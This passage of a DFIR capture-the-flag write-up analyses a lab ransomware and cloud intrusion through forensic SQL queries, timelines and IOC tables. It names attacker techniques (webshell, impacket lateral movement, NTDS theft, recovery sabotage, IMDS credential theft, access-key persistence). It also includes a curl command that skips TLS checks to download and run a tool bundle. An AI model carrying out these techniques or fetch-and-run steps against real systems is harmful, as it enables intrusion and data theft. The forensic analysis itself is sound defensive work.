These are the files whose encryption would render the domain unrecoverable even after paying ransom. IamBatman deliberately skipped them — consistent with a CTF scenario (encryption must be reversible for the lab to be re-run) and with professional ransomware design (monetized gangs often skip NTDS/SAM because encryption there risks permanent domain corruption that would prevent the victim from recovering even if they paid).

DD13.5 — End-of-encryption timeline correction

The v2 writeup claimed "22:46:45 last encrypted file written (final detonation event)". USN evidence corrects this: the actual last encrypted file is brndlog.txt.bWqQUx on WS02 at 2026-03-08T22:56:42.549Z — ten minutes later than the claimed end. brndlog.txt is a continuously-written file (a Ludus-lab telemetry log), which is why it was the last — IamBatman circled back because the file kept being modified after the first pass.

Implications:

  • The full attacker-active window on the victim network is 21:58:34 → 22:56:42 = 58 minutes for the impact phase alone.
  • Sigma / file-monitor rules looking for .bWqQUx renames must watch until at least T+60 minutes of sysAV.bat activity, not T+30.
DD13.6 — Cross-correlation: the CTF author's AWS console activity during the cascade

DD8.2 documented 216.82.9.162 as the CTF author's console IP. During the encryption window the author was continuously reading the CloudTrail-logs bucket from the AWS console:

  • 22:08:00 onward — a dense burst of GetObject aws-cloudtrail-logs-464381121764-c4e35ae2 calls, consistent with the author scrolling through CloudTrail event JSON in the S3 object viewer
  • This matches DD8.2's 22:07:07-22:08:32 ListObjects pattern and continues through the fan-out
  • The author did not interact with any AD/Windows host or any Sigma-alerting infrastructure during this window

Interpretation: the CTF author was watching the attack unfold through the CloudTrail side, not through Sigma/EDR dashboards. From their perspective they saw the 212.8.249.213 attacker — EC2 metadata theft, IAM enumeration, S3 exfil, CreateAccessKey — but the AD-side ransomware (sysAV.bat, IamBatman.exe, vssadmin destroy) was invisible to their browser. This is useful for reasoning about what the CTF author expected defenders to find vs what our writeup actually uncovered: they designed for cloud-side discovery (GuardDuty, CloudTrail exfil patterns) but the AD-side intrusion is where 90% of the evidence actually lives.

DD13.7 — Updated impact-phase totals
Metricv2 valueCorrected (DD13)
First detonation event22:16:50 (SVR01)21:58:34 (WS02, botched) / 22:08:40 (WS02, successful)
Last detonation event22:46:4522:56:42.549 (brndlog.txt.bWqQUx on WS02)
Total encrypted files~thousands (unspecified)6,023 across 5 hosts (.txt 5,163, .pdf 204, .csv 172, other 84, .xlsx 6, .docx 6, and 2,530 notes)
Ransomware extensionunspecified.bWqQUx
Ransom-note filenameunspecifiedREADME_bWqQUx.txt
Most-hit hostunspecifiedWS02 (2,014 files)
Least-hit hostunspecifiedDC02 (388 files in 5.4 s — clean completion, directory-sparse DC; DD14.1 walks back the "anomalous" reading)
NTDS/SAM statusunspecifiedNot encrypted — deliberately skipped
DD13.8 — Reproduction queries
-- Extension breakdown
SELECT CASE
  WHEN target_filename LIKE '%.txt.bWqQUx' THEN '.txt'
  WHEN target_filename LIKE '%.pdf.bWqQUx' THEN '.pdf'
  WHEN target_filename LIKE '%.csv.bWqQUx' THEN '.csv'
  WHEN target_filename LIKE '%.xlsx.bWqQUx' THEN '.xlsx'
  WHEN target_filename LIKE '%.docx.bWqQUx' THEN '.docx'
  WHEN target_filename='README_bWqQUx.txt' THEN 'ransom-note'
  ELSE 'other' END as c, COUNT(*) FROM events
WHERE source_type='usn' AND target_filename LIKE '%bWqQUx%' GROUP BY c ORDER BY 2 DESC;

-- Per-host stats
SELECT host, COUNT(*), MIN(time_utc), MAX(time_utc) FROM events
WHERE source_type='usn' AND target_filename LIKE '%.bWqQUx' GROUP BY host;

-- Last-encrypted file
SELECT time_utc, target_filename FROM events
WHERE source_type='usn' AND target_filename LIKE '%.bWqQUx'
ORDER BY time_utc DESC LIMIT 5;

-- DC02 anomalous 5-second burst
SELECT MIN(time_utc), MAX(time_utc), COUNT(*) FROM events
WHERE host='DC02' AND source_type IN ('usn','mft') AND target_filename LIKE '%bWqQUx%';

DD14. Fourteenth-pass — corpus-freeze attribution: localuser@198.51.100.3@RED1 is the CTF author's KAPE collection workflow, not an attacker. Plus a correction to DD13.3 about DC02's encryption rate.

DD13.3 flagged DC02's 5.4-second encryption burst as "100x faster — probably aborted." Digging into what happened on DC02 immediately after the burst reveals (a) that the 5.4 seconds was actually a natural completion (DCs simply have few user-document files matching IamBatman's target extensions), and (b) that all the subsequent activity on DC02 attributed in v1/v2 as "attacker cleanup" is actually the CTF author's forensic-triage collection workflow. This corpus-freeze workflow ran on every host in the environment between 22:12 and 22:47 — and a large chunk of what the writeup has been treating as threat-actor TTPs needs to be re-classified.

DD14.1 — Correction to DD13.3: DC02's 5.4-second burst was natural completion, not abort

First and last encrypted-file timestamps on DC02 (from USN):

  • 22:10:54.183 — first file: lastupdate.txt.bWqQUx in Windows Defender dir
  • 22:10:59.557 — last file: FXSTIFFDebugLogFile.txt.bWqQUx (Fax API log)

The files touched are overwhelmingly Windows system text-files — license.txt, ThirdPartyNotices.txt, FXS*LogFile.txt, setup-log.txt, extension.js.LICENSE.txt — the stuff that exists on a domain controller when .txt is the primary target. A DC doesn't have Project Frog.txt or ToDo.txt or clients.txt (those were on SVR01). 388 files matched the extension list; IamBatman encrypted all 388 and exited normally. No abort — just a small target set.

Revised explanation: the encryption-rate difference across hosts is not a speed difference — it's a directory-size difference. All hosts encrypted at roughly 70 files/second when they were actually running; hosts with large file trees (WS02, WS01) took longer because the directory-walk took longer, not because encryption was slow. The 5-second DC02 window is the true encryption time; the 48-minute WS02 window is mostly directory walking.

DD14.2 — CTF-author fingerprint: localuser@RED1 from 198.51.100.3

From Security EID 4624 across every host:

HostFirst localuser@RED1 loginLast localuser@RED1 loginLogons
WS022026-03-04T04:42:16Z (4 days before attack — lab setup)2026-03-08T22:46:06Z6
DC022026-03-04T04:42:45Z (4 days before attack — lab setup)2026-03-08T22:34:00Z10
SVR012026-03-08T22:12:38Z (attack day, after ransomware)2026-03-08T22:30:21Z4
DC012026-03-08T22:14:50Z2026-03-08T22:43:57Z4
WS012026-03-08T22:18:08Z2026-03-08T22:44:43Z4

Key tell: localuser@RED1 is present in logons from days before the attack on WS02 and DC02 (March 4, 4 days pre-attack) — that's lab setup / snapshot prep by the CTF author. They RDP from 198.51.100.3 with hostname RED1 — that host is their lab administration workstation, persistent across the scenario's lifecycle. Not an attacker. Not IR responders. The CTF author, using the same account to set up the lab and to collect the triage image after detonation.

DD14.3 — The KAPE triage workflow, reconstructed

Every host got the exact same three-step sequence:

# 1. Download KAPE from CTF author's S3 bucket
curl.exe -k https://bigmac.io.s3.amazonaws.com/kape.zip -o kape.zip

# 2. Update KAPE target/module definitions
C:\Kape\kape\kape.exe --sync

# 3. Run the actual triage collection
C:\Kape\kape\kape.exe \
    --tsource C: \
    --tdest C:\Kape\tout \
    --target WinDefendDetectionHist,WindowsDefender,FileZillaClient,OpenSSHClient,OpenSSHServer,!SANS_Triage,WebServers,BCD,BITS,CertUtil,StartupFolders,Notepad \
    --zip

Per-host timeline (curl → sync → collect):

Hostcurl kape.zipkape --synckape --target ... --zip
SVR0122:13:3222:32:2222:41:48 (2nd run 22:42:01, 3rd 22:43:04)
DC0122:15:1422:44:1622:47:05 (2nd 22:47:28)
DC0222:17:3322:34:1122:39:43 (2nd 22:40:23)
WS0122:20:3722:45:2222:47:33
WS0222:21:1022:46:5522:47:31

Author visited hosts in the order: SVR01 → DC01 → DC02 → WS01 → WS02. Note that WS02 (the patient-zero of the ransomware cascade) is collected last — the author intentionally let ransomware finish on the worst-hit host before freezing its disk image. This is deliberate sequencing: collect in decreasing order of "is the scenario still changing here?"

DD14.4 — The KAPE target list reveals the scenario designer's intent

Each --target element is a KAPE target definition (a pre-packaged set of file paths to collect). The chosen list is deliberately curated to capture exactly the evidence a DFIR player needs to solve the challenge, nothing more. The specific choices tell us what the author expected the intrusion to produce:

TargetWhat it collectsScenario-design intent
!SANS_TriageCompound: Event Logs, MFT, USN, Registry, Prefetch, ShimCache, Amcache, LNK, RecentDocs, Jump Lists, SRUM, ...The standard DFIR triage baseline — the author wanted every player to have the full SANS-level artifact set to work with.
WindowsDefender + WinDefendDetectionHistDefender detection logs + quarantine DBLets players see what (if anything) Defender flagged during the attack. Tight scenario-control: author chose to include this so players know definitively what was and wasn't detected.
FileZillaClientFileZilla config DB, recent-connections XML, sitemanager.xmlTells us the author ANTICIPATED the attacker installing FileZilla (DD11.4 confirms this path was taken). If the author included FileZilla collection before seeing the attack, they pre-scripted FileZilla as one of the scenario's data-exfil paths — meaning the "unmature sponsored2 installer" assessment in DD11.4 may be wrong; the author wanted FileZilla to appear.
OpenSSHClient + OpenSSHServerSSH known_hosts, config, authorized_keysAuthor expected an SSH vector too (there isn't one in the captured activity — either the attacker skipped it or it's a red herring).
WebServersIIS config, logs, wwwrootIIS-specific — matches the webshell initial-access vector.
BCDBoot Configuration Data fileCaptures the bcdedit recovery-disable artifact (DD12.5 sysAV.bat step 2+3).
BITSBITS transfer logs / jobsAuthor expected BITS as a possible download path — but the attacker used curl instead.
CertUtilcertutil.exe logs + cached cert dataAnother LOLBIN download path the author anticipated.
StartupFoldersPer-user Startup folder contentsCatch any persistence the attacker drops in Startup.
NotepadNotepad recent-files registry + cacheCaptures which .txt files Notepad opened — this is how we know the attacker read C:\Share\Project Frog.txt, ToDo.txt, clients.txt (DD11.6 row 22:16:13).

Meta-conclusion: the target list defines the playable surface of the challenge. The author chose which artifacts DFIR players can reach. Anything the author didn't include (Hayabusa extracts, full PowerShell transcript, network captures, LSASS dumps) is not supposed to be part of the solution path — but our deep-dive pulled them from memory / ingest_volatility / ingest_cloudtrail / ps_transcript source types regardless, which is why this writeup reaches deeper than a player who only looks at the KAPE triage tree.

DD14.5 — Artifacts to re-classify as "scenario-infrastructure, not attacker IOC"
Previously-flagged IOCActually
C:\Kape\ directory tree on every hostCTF author's triage collection output; not attacker-dropped
https://bigmac.io.s3.amazonaws.com/kape.zipAuthor's tooling mirror S3 bucket; not C2 infrastructure
localuser@198.51.100.3@RED1 logons on any hostAuthor's admin workstation; logons on 2026-03-04 were lab setup
Sethc.exe /AccessibilitySoundAgent at 22:17:00 on DC02Not a StickyKeys backdoor — it's Windows' AccessibilityShell auto-launched on every RDP session-start. Fires on every RDP in this corpus. False-positive persistence IOC — ignore.
curl.exe outbound connections to bigmac.io on each hostAuthor retrieving their own KAPE bundle, not attacker exfil
Any file modifications under C:\Kape\tout\Triage output, not scenario evidence
DD14.6 — The true end-of-scenario wallclock

Last attacker-driven event: 22:56:42.549 (brndlog.txt.bWqQUx final encryption on WS02, DD13.5).
Last CTF-author-driven event: approximately 22:47:33 (final kape --zip completion on WS01/WS02). Because these overlapped (author running KAPE while IamBatman was still encrypting on WS01/WS02), the corpus freeze boundary for this case is roughly 22:56:42 — 22:57ish — after which nothing new enters the logs.

DD14.7 — Reproduction queries
-- KAPE activity across all hosts
SELECT host, time_utc, substr(command_line,1,200) FROM events
WHERE source_type='evtx' AND eid=1
  AND (command_line LIKE '%kape.exe%' OR command_line LIKE '%kape.zip%' OR command_line LIKE '%bigmac.io%')
ORDER BY host, time_utc;

-- localuser@RED1 logons (author's workstation)
SELECT host, MIN(time_utc), MAX(time_utc), COUNT(*) FROM events
WHERE source_type='evtx' AND channel='Security' AND eid=4624
  AND target_user_name='localuser' AND workstation='RED1'
GROUP BY host;

-- DC02 encrypted file types (proves it was not aborted)
SELECT target_filename, COUNT(*) FROM events
WHERE host='DC02' AND source_type IN ('usn','mft') AND target_filename LIKE '%bWqQUx%'
GROUP BY target_filename ORDER BY 2 DESC LIMIT 20;

DD15. Fifteenth-pass — KAPE-surface vs deep-dive-surface: what a player who stops at the triage tree will and won't find

DD14 established that the CTF author's KAPE target list defines the intended playable surface. Our corpus contains substantially more than that because we separately ingested the SVR01 memory image, the CloudTrail bundle, and parsed PowerShell transcripts / browser SQLite files that KAPE didn't unpack. This addendum is the audit: exactly which findings in this writeup are reachable from the KAPE tree alone, and which require sources a typical DFIR player would only get by going beyond it.

DD15.1 — Source-type inventory for the corpus (what's actually ingested)
Source typeRow countKAPE-collectable?Notes
evtx4,346,954✅ (!SANS_Triage)All Windows Event Logs, including Sysmon
usn1,830,274✅ (!SANS_Triage)USN Journal — includes .bWqQUx renames
mft1,467,781✅ (!SANS_Triage)Master File Table
registry71,106✅ (!SANS_Triage)SYSTEM/SOFTWARE/SAM/NTUSER hives
lnk452✅ (!SANS_Triage)Shortcut / Recent Docs
iis115✅ (WebServers)IIS request logs
ps_transcript934 (IIS-only)Not collected by any target in the author's list; requires the PowerShellTranscripts target + transcription policy enabled
volatility704 (SVR01-only)Requires live memory capture (DumpIt / WinPmem); KAPE is file-system only
cloudtrail36,938AWS control-plane — no Windows host involvement; ingested separately from the cloud bundle
guardduty401AWS GuardDuty alerts JSON; cloud bundle
s3_access38S3 server-access logs; cloud bundle
browser_session / browser_cookie / browser_keyword / browser / etc.26,889⚠️ partialChrome/Firefox SQLite databases can be in KAPE's browser targets, but the author's list doesn't include them — our corpus parsed them from the filesystem anyway via dfir_ingest_browser
DD15.2 — Findings a KAPE-only player would reach

A careful DFIR player working exclusively from the KAPE-triage tree can reach these conclusions:

  • Initial access = IIS webshell (from IIS logs + Sysmon EID 1 spawning PowerShell from w3wp.exe)
  • SYSTEM escalation via SCM-fired service (Event ID 4697/7045 in Security/System channels)
  • NTDS theft via smbexec.py on DC01 (Addendum C & DD10 — Sysmon EID 1 chain services.exe → cmd.exe → vssadmin, execute.bat and __output files in MFT, random 8-char service names in 4697)
  • CreateRemoteThread injection smoking gun (Addendum L & PI — Sysmon EID 8 is in the Sysmon channel, preserved by !SANS_Triage)
  • AD-persistence chain on SVR01 (DD10.2 — net user serviceaccount, net group 'Domain Admins', DisableRestrictedAdmin reg change — all in Sysmon EID 1)
  • Masqueraded Firefox.exe IOC (DD11.3 — Prefetch hash 11BBBDDD comes from KAPE's !SANS_Triage which includes Prefetch)
  • sysAV.bat → IamBatman.exe fan-out (DD12 — atexec.py Task-Scheduler parent, random .tmp output files, all in Sysmon EID 1)
  • VSS + bcdedit anti-recovery (DD12.5 — both are in Sysmon EID 1)
  • Ransomware extension + notes (DD13 — .bWqQUx + README_bWqQUx.txt, all in USN & MFT)
  • LogDel.bat log-clear (Addendum H — in Sysmon EID 1)
  • FileZilla install trace (DD11.4 — the author's KAPE target FileZillaClient guarantees this is recoverable)

A player with just the KAPE tree can solve roughly 75-80% of the scenario — initial access through impact, with the full kill chain on AD and the right impacket module attribution for both the NTDS theft and the ransomware fan-out.

DD15.3 — Findings a KAPE-only player would NOT reach
FindingWriteup sectionRequired sourceWhy KAPE doesn't catch it
Unknown C2 Framework binary attribution (5-indicator RE match)sec-c2attribMemory image (volatility malfind + VAD dump)KAPE is filesystem-only; the beacon's floating-shellcode pages 0xA40000-0xA8EFFF never touched disk
LSASS-dump chain-of-custody via thread 10020 CallTrace to UNKNOWN()DD11.1Sysmon EID 10 full data_json + memory imageEID 10 is in evtx (KAPE has it) but proving the CallTrace's UNKNOWN() address lives in the VAD dump requires the memory image
Complete IIS-side PowerShell chain (OS build + Nitro/PV/Ec2Launch)DD8.1, DD9.1, DD9.2ps_transcript sourceKAPE's target list doesn't include PowerShell transcripts; Windows only transcribes when policy is set
3× successful CreateAccessKey cloud persistenceDD7CloudTrail JSON bundleCloud logs don't exist on Windows hosts; KAPE can't collect them
Post-exfil Lambda/RDS/DynamoDB AWS enumerationDD8.3CloudTrailAs above
CTF author IP (216.82.9.162) vs attacker IP (212.8.249.213) disambiguationDD8.2, DD9.4CloudTrailAs above
Chrome #JustaLawyer SNSS interest (victim-profile)Addendum Q, DD6Browser SQLite DBsKAPE's author-list doesn't include the browser targets, so SNSS parsing is out-of-scope
103-minute deliberate PS-silence on IIS while AD-side work proceededDD9.3ps_transcriptCross-source correlation requires both ps_transcript and Sysmon EID 1

Remaining 20-25% of findings all require one or more of: memory image, CloudTrail bundle, PowerShell-transcript source, or parsed browser SQLite. None are in the KAPE tree.

DD15.4 — What this tells us about the challenge design

The author's target list is calibrated to exactly the DFIR-tier artifacts — KAPE plus Notepad-recent-file history plus Windows Defender logs plus BCD. It is not calibrated for:

  • Cloud-security work (no CloudTrail/GuardDuty in the triage tree)
  • Memory forensics (no memory image in triage tree)
  • Browser-artifact correlation (author's list skipped it)

This suggests the author's intended solution path is:

  1. Timeline the EVTX to find initial-access + lateral movement (reachable)
  2. Identify impacket modules from service-install + Sysmon parent chains (reachable)
  3. Identify ransomware from USN + MFT .bWqQUx renames (reachable)
  4. Identify persistence from Sysmon EID 1 (net user serviceaccount, reg DisableRestrictedAdmin, reachable)

Players who stop here get a clean A-tier writeup — complete kill chain, correct tool attribution, correct impact. But they miss: Unknown C2 Framework family, 3× cloud persistence successes (not "quota blocked all"), author-IP vs attacker-IP disambiguation, and the actual-silence / actual-cadence evidence that shows operator sophistication. Those are S-tier / deep-dive findings that require pulling in sources outside the KAPE bundle.

DD15.5 — Residual risk from KAPE-tier solutions

If a real IR team delivered their post-incident report working only from KAPE, the gaps would be:

  • Missed 3 live long-term AWS access keys (CreateAccessKey success for donnieworks/doctorderm/coolcat) — actionable residual risk. Without CloudTrail, the IR team has no way to know these exist. An attacker could return via these keys next week.
  • Missed Lambda/RDS/DynamoDB enumeration — the IR scope stays narrow (AD + 1 bucket). A full cloud audit is not triggered. Backdoored Lambda or cross-account RDS snapshot sharing would be missed.
  • C2 family identification stays at "beacon" — no Unknown C2 attribution means IR threat-intel reports say "unknown commodity C2" rather than the specific Unknown C2 family with known TTPs. Defenders can't preempt similar future attacks from the same actor with Unknown C2-specific detections.
  • Memory-resident evidence gets lost when systems are rebooted/restored — by the time a file-only IR team realizes they want memory, it's gone. The VAD dump we have would have been irrecoverable past the first reboot of SVR01.

This is the case for always capturing memory alongside KAPE in any real-world intrusion: the gap between the two surfaces is where attribution and residual-risk-assessment live.

DD15.6 — Reproduction queries
-- Source-type inventory
SELECT source_type, COUNT(*) FROM events GROUP BY source_type ORDER BY 2 DESC;

-- Non-KAPE-collectable sources per host (what deep-dive adds)
SELECT host, source_type, COUNT(*) FROM events
WHERE source_type IN ('volatility','cloudtrail','guardduty','s3_access',
                      'ps_transcript','browser_session','browser_cookie')
GROUP BY host, source_type ORDER BY host, 3 DESC;

DD16. Sixteenth-pass — the stolen AWS credentials: never used in the capture window, pure stockpile persistence (S-tier residual-risk evidence)

DD7 established that the attacker successfully created long-term AWS access keys for 3 IAM users (donnieworks, doctorderm, coolcat). DD15 flagged those 3 keys as the top residual risk a KAPE-only IR would miss. DD16 answers the S-tier question: did the attacker actually use any of the stolen keys before logging off?

DD16.1 — The three stolen long-term keys
Target IAM userAccessKeyIdCreated (UTC)Created by (source)
donnieworksAKIA[REDACTED-FOR-PUBLICATION]2026-03-08T21:45:51ZAttacker 212.8.249.213 via iam_role_iisserver
doctordermAKIA[REDACTED-FOR-PUBLICATION]2026-03-08T21:46:04ZAttacker 212.8.249.213 via iam_role_iisserver
coolcatAKIA[REDACTED-FOR-PUBLICATION]2026-03-08T21:46:14ZAttacker 212.8.249.213 via iam_role_iisserver

All three keys share the AKIA prefix (long-term IAM user credentials) and carry the account-suffix WYH2FSTS that identifies account 464381121764. They are permanent credentials until explicitly rotated / deactivated — no built-in TTL.

DD16.2 — Corpus-wide usage audit

Query: every CloudTrail event whose userIdentity.accessKeyId matches one of the stolen keys.

SELECT time_utc, eventName, userIdentity.accessKeyId FROM cloudtrail
WHERE userIdentity.accessKeyId IN (
  'AKIA[REDACTED-FOR-PUBLICATION]',
  'AKIA[REDACTED-FOR-PUBLICATION]',
  'AKIA[REDACTED-FOR-PUBLICATION]'
)
ORDER BY time_utc;

Result: zero rows. The only mentions of these three AccessKeyIds in the entire 36,938-row CloudTrail corpus are the CreateAccessKey response elements at creation time. They never appear in a subsequent event's userIdentity.accessKeyId. They were created and never used.

DD16.3 — What keys the attacker actually used
AccessKeyIdTypeEvent count from 212.8.249.213Interpretation
ASIA[REDACTED-FOR-PUBLICATION]AssumedRole session (iam_role_iisserver)182 eventsIMDSv2-stolen session credentials. Used exclusively for all 182 attacker cloud operations in the observation window.
AKIA[REDACTED-FOR-PUBLICATION] / MTHOMRE5 / DPCXBHUSIAMUser long-term0Created but not activated. Stockpiled for later re-entry.

The ASIA prefix on the session the attacker actually used confirms it's a short-term STS session credential (derived from the iam_role_iisserver instance profile via IMDSv2 theft). These STS sessions carry an expiration time (6-hour default for instance-profile roles); by the time this writeup's capture window ends, that session has either expired or is about to.

DD16.4 — The attacker's cloud-operation full timeline on one access-key

All 182 attacker cloud events rode on ASIA[REDACTED-FOR-PUBLICATION] between 21:42:11Z (first event) and 21:51:14Z (last event). Span: 9 minutes 3 seconds. Event flow:

  • 21:42:11-21:44 — IAM and S3 enumeration (ListUsers, ListBuckets, ListRolePolicies, ListAttachedUserPolicies, ListAccessKeys)
  • 21:45:38CreateAccessKey #1 for jb_aws_cli → LimitExceededException (quota)
  • 21:45:51-21:46:14CreateAccessKey #2/3/4 for donnieworks/doctorderm/coolcat → all three succeed
  • 21:47-21:49 — S3 bucket discovery + ListObjects / HeadBucket on all candidates
  • 21:49:16-21:49:25 — 164× GetObject on sfcu-records (primary exfil)
  • 21:50:25-21:51:14ListFunctions (Lambda), DescribeDBInstances (RDS), ListTables (DynamoDB), DescribeDBClusters (Aurora) — post-exfil hunt for further targets
  • 21:51:14 onward — silence. The attacker logged off and did not return during the capture window.

After 21:51:14 the attacker had: (a) one batch of 164 exfiltrated S3 objects, (b) 3 permanent IAM access keys as stockpile, (c) knowledge of Lambda/RDS/DynamoDB services running in-account (for a later visit). They then ended the cloud operation and moved to the AD-side ransomware detonation (21:58:34 onward on WS02 — DD12).

DD16.5 — What the stockpile-but-don't-use pattern tells us

Stockpiling without immediate use is a deliberate operational choice. Several interpretations, each with evidence:

InterpretationSupporting evidenceAgainst
Cool-down pattern: attacker wants to avoid a spike of suspicious activity that would trigger a CloudTrail-threshold alert. Uses stolen keys days/weeks later when noise has died down.Matches the 103-minute deliberate PS-silence on IIS (DD9.3). Same operator-discipline signature.
Separation of concerns: session credentials for smash-and-grab, long-term keys for later strategic ops. Keeps the two traffic patterns disentangled.The ASIA session is used for ~180 rapid enumeration/exfil events. The AKIA keys are for something quieter later.
Ops-handoff: one operator stole the keys; another (or a cron job) uses them later from different infrastructure. This is common in multi-team operations.The created keys belong to three different users (donnie/doctor/coolcat) — enables the next-phase operator to masquerade as any of three legitimate identities independently.
Testing exhaustion: attacker hit the 2-keys-per-user IAM limit on jb_aws_cli and used it as a signal to switch targets; got sloppy/tired after that and logged off before testing the new keys.jb_aws_cli had 2 pre-existing keys (LimitExceeded). donnie/doctor/coolcat had 0-1 keys each and CreateAccessKey succeeded cleanly.If sloppy-logoff, the operator would likely test one of the keys first; they didn't, suggesting deliberate stockpile.

Most likely: separation of concerns + cool-down. The operator knows CloudTrail anomaly detectors fire on "new AccessKeyId used from a new geolocation" — so they will use these keys later, from an explicitly different IP, possibly through a different ISP, possibly as part of a future campaign that doesn't tie back to 2026-03-08 forensically. Three distinct IAM identities (donnieworks · doctorderm · coolcat) = three parallel re-entry options — if one is later rotated or flagged, the operator still has two cleaner backup keys on uncorrelated users. This is the pattern of an operator who expects to come back, not a smash-and-grab.

DD16.6 — Residual-risk implications updated
  • All three keys remain valid indefinitely unless an IAM admin deactivates them. There is no automatic expiry.
  • CloudTrail capture window ends 2026-03-08T22:15:27Z — roughly 30 minutes after key creation. If the attacker used the keys after that window, the evidence would be in live CloudTrail (if the account still has trails) but not in this corpus.
  • Detection priority: the owning AWS account should immediately audit every use of AKIA[REDACTED-FOR-PUBLICATION], AKIA[REDACTED-FOR-PUBLICATION], and AKIA[REDACTED-FOR-PUBLICATION] from the moment of creation onward. In production, deactivate them.
  • Per-user remediation: donnieworks, doctorderm, and coolcat should each have all of their active access keys rotated, because the attacker now knows those identities are good backdoor targets.
  • Residual-risk tier: this is the single highest-impact artifact of the incident. AD damage is recoverable (restore from backups, decrypt with authors' key, rebuild domain). Live AWS access keys in adversary hands are not self-healing; they remain a live threat until revoked.
DD16.7 — Reproduction queries
-- Stolen-key creation events
SELECT time_utc, json_extract(data_json,'$.event.requestParameters.userName'),
       json_extract(data_json,'$.event.responseElements.accessKey.accessKeyId')
FROM events WHERE source_type='cloudtrail'
  AND json_extract(data_json,'$.event.eventName')='CreateAccessKey'
  AND json_extract(data_json,'$.event.sourceIPAddress')='212.8.249.213'
ORDER BY time_utc;
-- 4 rows (1 quota-exception + 3 successes)

-- Any post-creation usage of the 3 AKIA keys
SELECT time_utc, json_extract(data_json,'$.event.eventName') FROM events
WHERE source_type='cloudtrail'
  AND json_extract(data_json,'$.event.userIdentity.accessKeyId') IN
      ('AKIA[REDACTED-FOR-PUBLICATION]','AKIA[REDACTED-FOR-PUBLICATION]','AKIA[REDACTED-FOR-PUBLICATION]');
-- 0 rows = never used

-- What keys the attacker actually used
SELECT DISTINCT json_extract(data_json,'$.event.userIdentity.accessKeyId'), COUNT(*)
FROM events WHERE source_type='cloudtrail'
  AND json_extract(data_json,'$.event.sourceIPAddress')='212.8.249.213'
GROUP BY 1;
-- 1 row: ASIA[REDACTED-FOR-PUBLICATION] (AssumedRole) 182 events

DD17. Seventeenth-pass — what the attacker actually exfiltrated: content audit of the 164 S3 objects reveals the bucket is an author-designed decoy, not real data

DD7 confirmed the attacker ran 164 GetObject calls on sfcu-records between 21:49:16 and 21:49:25. DD16 confirmed they didn't use the stolen IAM keys afterwards. The obvious follow-up: what was actually in those 164 objects? Extracting requestParameters.key from every GetObject event reconstructs the full exfiltrated-file inventory from the CloudTrail side (even without the bucket contents).

DD17.1 — Folder breakdown: 7 "departments", ~23 objects each
Folder prefixObjects exfiltratedExample filename
Executive_Suite/31CONFIDENTIAL_synergy_report_FINAL.pptx
HR/30DO_NOT_OPEN_evidence_of_the_breakroom_ghost_v3_final_copy_FINAL.docx
Accounting/24CONFIDENTIAL_unpaid_intern_tracking_v3_final_copy_FINAL.xlsx
IT_Support/22CONFIDENTIAL_stolen_yogurt_investigation_v3_final_copy_FINAL.xlsx
Marketing/21CONFIDENTIAL_restructuring_plans_v4_v3_final_copy_FINAL.pdf
The_Basement/19CRITICAL_FAILURE_strategic_alignment_vibe_check_DRAFT_DO_NOT_EDIT.tmp
Legal/17CRITICAL_FAILURE_restructuring_plans_v4_USE_THIS_ONE.pdf
TOTAL164
DD17.2 — Extension distribution (near-uniform — bucket is seeded, not organic)
ExtCountExtCount
.pptx29.xlsx27
.pdf29.csv26
.tmp28.docx25

Every extension lands at 25-29 objects — this is a deterministically-generated bucket, not a real-company artifact. A production file-share would have dramatic extension imbalance (1000s of .docx, handful of .tmp). The uniform spread is an author signature — likely a Python script:

for dept in [Executive_Suite, HR, Accounting, IT_Support, Marketing, The_Basement, Legal]:
    for _ in range(N):
        prefix = random.choice(["CONFIDENTIAL_", "CRITICAL_FAILURE_", "PLEASE_READ_", "URGENT_", "DO_NOT_OPEN_", "IGNORE_THIS_", "RE_RE_RE_RE_RE_", "FINAL_", "DRAFT_"])
        topic  = random.choice(["budget_for_more_coffee", "pizza_party_waiver", "synergy_report", ...])
        suffix = random.choice(["_v2", "_v3_final_copy_FINAL", "_ACTUALLY_THIS_ONE", "_USE_THIS_ONE", "_OLD_DO_NOT_USE", "_FOR_REAL_THIS_TIME", "_DRAFT_DO_NOT_EDIT", "_FINAL"])
        ext    = random.choice([".xlsx", ".docx", ".pptx", ".pdf", ".csv", ".tmp"])
        s3.put_object(Bucket="sfcu-records", Key=f"{dept}/{prefix}{topic}{suffix}{ext}", Body=...)
DD17.3 — The 11 "topics" reveal the CTF author's sense of humor
  • budget_for_more_coffee
  • pizza_party_waiver
  • unpaid_intern_tracking
  • passive_aggressive_email_template
  • strategic_alignment_vibe_check
  • reasons_why_the_printer_hates_us
  • synergy_report
  • evidence_of_the_breakroom_ghost
  • expense_report_for_emotional_support_otter
  • restructuring_plans_v4
  • stolen_yogurt_investigation

These are not real corporate document topics. They are office-humor parody. Every one of the 164 exfiltrated files combines one of 11 joke topics with one of 8 filename-prefix "urgency tags" (CONFIDENTIAL_, CRITICAL_FAILURE_, DO_NOT_OPEN_, etc.) and one of 8 version suffixes (_v2, _v3_final_copy_FINAL, _ACTUALLY_THIS_ONE). The combinatorial explosion is why 164 unique filenames fit in 11 × 8 × 8 × 6 (extensions) = 4,224 possible names but only 164 were picked — this is sampling, not exhaustive listing.

DD17.4 — Meta-interpretation: the attacker exfiltrated a decoy

Every external sign of this bucket is designed to invite exfiltration:

  1. Bucket name: sfcu-records. SFCU is credit-union-convention branding (e.g., "Saint Francis Credit Union", "San Francisco CU"); records implies "customer records, account history, sensitive PII." The attacker's bucket-choice heuristic ("does this bucket sound like money?") picks this over barry-testing123123 or aws-cloudtrail-logs-....
  2. Folder names: Executive_Suite/, HR/, Legal/, Accounting/ — canonical high-value corporate departments. All seven folders suggest a full-company layout.
  3. Filename prefixes: 8 distinct urgency tags, 3 of which explicitly scream "important document" (CONFIDENTIAL_, CRITICAL_FAILURE_, DO_NOT_OPEN_). Exactly what a greedy operator grabs first.
  4. Filename topics: parody content (pizza-party, stolen-yogurt, budget-for-more-coffee). But the attacker, at the point of download, can't see file content — only the name. The names carry the bait; the content is the punchline.
  5. Extensions: .docx / .xlsx / .pptx / .pdf — all business-document formats. A pentester's "exfil & triage later" workflow grabs these by extension.

Conclusion: the 164-object exfil is a scenario author's honeypot. It costs the attacker 9 seconds and is recorded in CloudTrail (164 GetObjects = very loud signal) for zero real-intel payoff. A skilled attacker reading the filenames mid-exfil might notice the joke topic names and abort (the 21:49:16 → 21:49:25 window is tight, though — 164 GetObjects at ~18/sec is a script-paced bulk-download, not a human reading filenames).

DD17.5 — What this means for residual-risk and attacker-capability assessment
Residual-impact claim from v1DD17 correction
